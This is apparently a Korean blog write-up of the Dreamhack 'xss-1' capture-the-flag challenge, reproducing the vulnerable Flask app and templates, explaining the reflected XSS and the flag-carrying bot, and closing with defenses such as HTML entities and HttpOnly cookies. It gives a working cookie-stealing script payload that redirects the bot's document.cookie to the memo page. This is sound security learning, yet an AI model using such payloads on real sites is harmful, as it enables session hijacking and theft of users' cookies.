[1] 문제 페이지 탐색
- vuln(xss) page
문제의 첫 화면이다.
vuln(xss) page에 들어가보았다.
vuln 페이지에 param 값으로 <script>alert(1)</script>이 전달되어 "1"이라는 내용의 팝업창이 뜨는 것을 확인할 수 있다.
소스코드 또한 특이점이 없었다.
- memo
memo 페이지에 들어가보았다.
들어간 횟수만큼 "hello"라는 내용의 메모가 나타났고, url 주소에서는 /memo 페이지에 memo 값으로 hello가 전달되는 것을 확인할 수 있다.
이렇게 memo 파라미터에 임의의 값을 넣은 주소로 이동하면 그 값이 페이지에 전달이 되는 것을 볼 수 있다.
이 페이지의 소스코드를 확인해보았다.
- flag
/flag 페이지를 확인해보았다.
이 페이지의 소스코드를 확인해보았다.
[2] 문제 파일 탐색
다운로드 받은 파일
app.py 파일의 내용
1) 초기 선언 부분
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
2) read_url 함수
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
3) check_xss 함수
def check_xss(param, cookie={"name": "name", "value": "value"}):
#check_xss는 read_url함수 호출하여 vuln 엔드포인트 접속
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
4) app.route("/")
#render_template : flask에서 제공하는 함수로 templates에 저장된 html을 불러올 때 사용하는 함수
@app.route("/")
def index():
return render_template("index.html")
5) app.route("/vuln")
#사용자가 입력한 param 값을 출력
#필터 없이 그대로 요청 받은 내용을 그대로 출력
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
6) app.route("/flag", methods=["GET", "POST"])
@app.route("/flag", methods=["GET", "POST"])
def flag():
#이용자에게 URL을 입력받는 페이지를 제공
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
#파라미터 값과 쿠키에 FLAG를 포함해 check_xss 함수 호출
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
7) app.route("/memo")
memo_text = ""
#사용자가 요청한 내용을 메모로 작성하여 출력
#여기는 render_template를 통해 출력하기 때문에 취약하지 않음
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
8) 서비스 실행
app.run(host="0.0.0.0", port=8000)
templates 폴더 내의 html 파일들
1) base.html
<!doctype html>
<html>
<head>
<link rel="stylesheet" href="{{ url_for('static', filename='css/bootstrap.min.css') }}">
<link rel="stylesheet" href="{{ url_for('static', filename='css/bootstrap-theme.min.css') }}">
<link rel="stylesheet" href="{{ url_for('static', filename='css/non-responsive.css') }}">
<title>{% block title %}{% endblock %} XSS-1</title>
{% block head %}{% endblock %}
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">XSS-1</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
</ul>
</div><!--/.nav-collapse -->
</div>
</nav>
<div class="container">
{% block content %}{% endblock %}
</div> <!-- /container -->
<!-- Bootstrap core JavaScript -->
<script src="{{ url_for('static', filename='js/jquery.min.js')}}"></script>
<script src="{{ url_for('static', filename='js/bootstrap.min.js') }}"></script>
</body>
</html>
2) index.html
페이지를 분기하는 소스로 vul(xss) page를 클릭하였을때 스크립트가 실행되어 alert(1) 창을 띄운다.
{% extends "base.html" %}
{% block title %}Index{% endblock %}
{% block head %}
{{ super() }}
<style type="text/css">
.important { color: #336699; }
</style>
{% endblock %}
{% block content %}
<p class="important"><a href="/vuln?param=<script>alert(1)</script>">vuln(xss) page</a></p>
<p class="important"><a href="/memo?memo=hello">memo</a></p>
<p class="important"><a href="/flag">flag</a></p>
{% endblock %}
3) memo.html
{% extends "base.html" %}
{% block title %}Index{% endblock %}
{% block head %}
{{ super() }}
<style type="text/css">
.important { color: #336699; }
</style>
{% endblock %}
{% block content %}
<pre>{{ memo }}</pre>
{% endblock %}
4) flag.html
파라미터를 입력받는 페이지이다.
{% extends "base.html" %}
{% block title %}Index{% endblock %}
{% block head %}
{{ super() }}
<style type="text/css">
.important { color: #336699; }
</style>
{% endblock %}
{% block content %}
<form method="POST">
http://127.0.0.1:8000/vuln?param=<input type="text" name="param"/><br/>
<input type="submit"/><br/>
</form>
{% endblock %}
[3] 문제 풀이
① vuln(xss) page가 가진 취약점을 이용하기
이 URL을 클릭하면 브라우저가 해당 URL을 열고, 쿼리 매개변수의 값이 해석된다.
따라서 <script>alert(1)</script>라는 JavaScript 코드가 사용자의 브라우저에서 실행된다.
이 경우, JavaScript 코드는 단순히 경고 창을 표시할 뿐이지만, 악의적인 공격자가 이를 악용하여 사용자의 브라우저에서 더 심각한 작업을 수행할 수 있다. 예를 들어, 사용자의 세션 쿠키를 훔치거나 다른 악의적인 동작을 수행할 수 있다.
XSS 공격은 사용자로부터 입력 받는 부분에서 적절한 입력 검증과 이스케이프 처리가 이루어지지 않을 때 발생한다. 이런 취약점이 존재하면 악의적인 스크립트가 실행될 수 있다.
해당 문제에서는 별도의 필터링이 존재하지 않는 듯하며, <script>, alert() 등 태그와 기능이 전부 정상적으로 작동하고 있다.
>> 따라서 위의 페이지는 param 파라미터로 xss 공격이 가능하다.
② flag 페이지 작동 방식
/flag에 접속하면 localhost의 /vuln 페이지로 param 파라미터를 전송할 수 있는 구성이다.
이 코드는 "/flag" 경로에서 GET 요청을 받으면 flag를 보여주고,
POST 요청을 받으면 check_xss 함수를 호출해서 "param" 폼 데이터를 확인하여 XSS 공격을 검사하고 그에 따른 응답을 반환한다.
check_xss()를 보면 127.0.0.1:8000을 대상으로 flag가 포함된 쿠키를 read_url()의 인자로 실행한다.
1. cookie.update()로 domain을 127.0.0.1로 설정한다.
2. chromedriver를 실행하고 127.0.0.1:8000를 오픈한다.
3. 인자로 받은 쿠키를 chromedriver 쿠키에 추가한다.
4. 127.0.0.1:8000/vuln?param=[입력값]으로 쿠키와 함께 요청을 전송한다.
시나리오를 설명하면,
chromedriver에 저장된 flag는 공격대상의 세션이고 XSS로 세션(쿠키)을 탈취한다.
flag를 얻는 것이 목표이므로 127.0.0.1:8000/vuln를 이용해서 공격대상 클라이언트에서 악성 스크립트가 실행되도록 XSS payload를 전송해야한다.
③ memo 페이지 작동 방식
이 코드는 간단한 메모장을 구현했다.
text = request.args.get("memo", ""): 사용자는 "/memo" 경로로 접속하여 URL에서 "memo"라는 인자를 받아온다.
예를 들어, "/memo?memo=답이대체뭐야"과 같이 요청이 오면 "답이대체뭐야"를 가져온다. (만약 "memo" 인자가 없다면 빈 문자열("")을 기본값으로 사용한다.)
memo_text += text + "\n": 가져온 텍스트를 전역 변수인 memo_text에 추가한다. 이때 각각의 메모는 새 줄로 구분된다.
return render_template("memo.html", memo=memo_text): "memo.html" 템플릿을 렌더링하고, 현재까지의 메모를 함께 전달한다. 이를 통해 사용자는 화면에서 메모를 확인할 수 있다.
>> 사용자는 "/memo" 경로로 접속하여 텍스트를 입력하고, 이전에 입력한 메모들을 확인할 수 있다.
요약
1. /vuln
:param 파라미터에서 XSS 취약점 발생
2. /memo
:memo 파라미터로 페이지에 데이터 저장 가능
3. /flag
:check_xss(url,cookie) → read_url(url, cookie) → flag를 쿠키에 저장 → 127.0.0.1:8000/vuln?param=[입력값]를 공격 대상 봇이 요청
/memo는 요청 시 파라미터를 통해서 특정 값을 저장할 수 있는 기능을 수행한다.
그렇다면, bot이 127.0.0.1:8000/memo?memo=[쿠키] 와 같이 요청하도록 XSS payload를 전송하면, /memo에 쿠키에 담긴 flag가 저장될 것이다.
공격 순서를 정리하면
1. /flag를 통해 XSS 페이로드 전송
2. bot이 /vuln 을 통해 전송한 XSS 페이로드를 실행
3. /memo 에 bot의 cookie가 저장
XSS에서 사용되는 네 가지 종류의 문법:
<script>
alert("hello"); <!-- 메시지 출력 -->
document.cookie; <!-- 쿠키값 -->
location.href=""; <!-- ""내의 링크로 위치 이동 -->
document.location=""; <!-- "" 링크로 이동 -->
</script>
쿠키를 탈취하기 위한 XSS payload
위의 문법 중 쿠키값을 출력하는 document.cookie와 location.href를 통해 memo에서 쿠키를 출력하도록 코드를 짜보겠다.
<script>location.href='http://127.0.0.1:8000/memo?memo='+document.cookie</script>
위의 코드를 /flag 페이지에 입력하고 제출하면
vuln 페이지를 거쳐 memo 페이지에 document.cookie가 저장될 것이다.
정답!!
[4] 대응 방안
(1) 입력값 검증 및 길이 제한
whitelist 또는 blacklist 방식으로 <script>같은 스크립트 태그들에 대한 문자열 검증을 수행한다.
(이 문제에서는 문자열 검증을 수행하지 않는다.)
(2) HTML Entity 사용
XSS가 발생하지않도록 HTML 태그들을 특수문자로 표현하도록 HTML Entity를 사용한다.
HTML Entity를 사용하면, 공격자가 <script>를 입력하더라도 출력은 <script>로 되기 때문에 XSS가 발생하지 않는다.
(3) HttpOnly 플래그 설정
브라우저에서 쿠키에 접근할 수 없도록 HttpOnly 플래그를 설정한다.
만약, XSS가 발생하더라도 브라우저가 쿠키에 접근할 수 없기 때문에 공격자는 쿠키를 탈취할 수 없다.
[5] 참고
https://keyme2003.tistory.com/entry/dreamhack-xss-1
[dreamhack] xss-1
개념정리 ○ XSS 크로스 사이트 스크립팅(Cross Site Scripting, XSS)은 공격자가 공격대상의 브라우저에서 스크립트가 실행되도록 유도하여 사용자의 세션을 가로채거나, 웹사이트를 변조 또는 악의적
keyme2003.tistory.com
[XSS] XSS(Cross Site Scripting)공격 실습 - (Dreamhack 실습예제)
XSS(CrossSiteScripting) 서버의 응답에 공격자가 삽입된 악성 스크립트를 받은 사용자의 웹 브라우저에서 악성 스크립트가 실행되는 공격 XSS 공격을 수행하기 위해 요구되는 조건 악성 script가 삽입될
hobbylists.tistory.com
https://goldsony.tistory.com/m/259
[웹 해킹] Dreamhack xss-1(Level 1)
#259 1. 개요 워게임 명 : xss-1 난이도 : Level 1 관련 개념 : Javascript, XSS, Cookie 문제 : XSS 취약점을 이용하여 FLAG 값 획득 XSS 강의에 포함된 워게임입니다. 2. 소스 코드 확인 1) HTML 소스코드에는 html 문
goldsony.tistory.com
'Hacking (CTF) > 웹 해킹' 카테고리의 다른 글
[Dreamhack/드림핵] xss-2 (0) | 2023.11.06 |
---|---|
[xss-game] Level 5: Breaking protocol (3) | 2023.11.06 |
[Dreamhack/드림핵] DOM XSS (0) | 2023.11.05 |
[los.rubiya.kr] orc (1) | 2023.10.07 |
[los.rubiya.kr] goblin (1) | 2023.10.06 |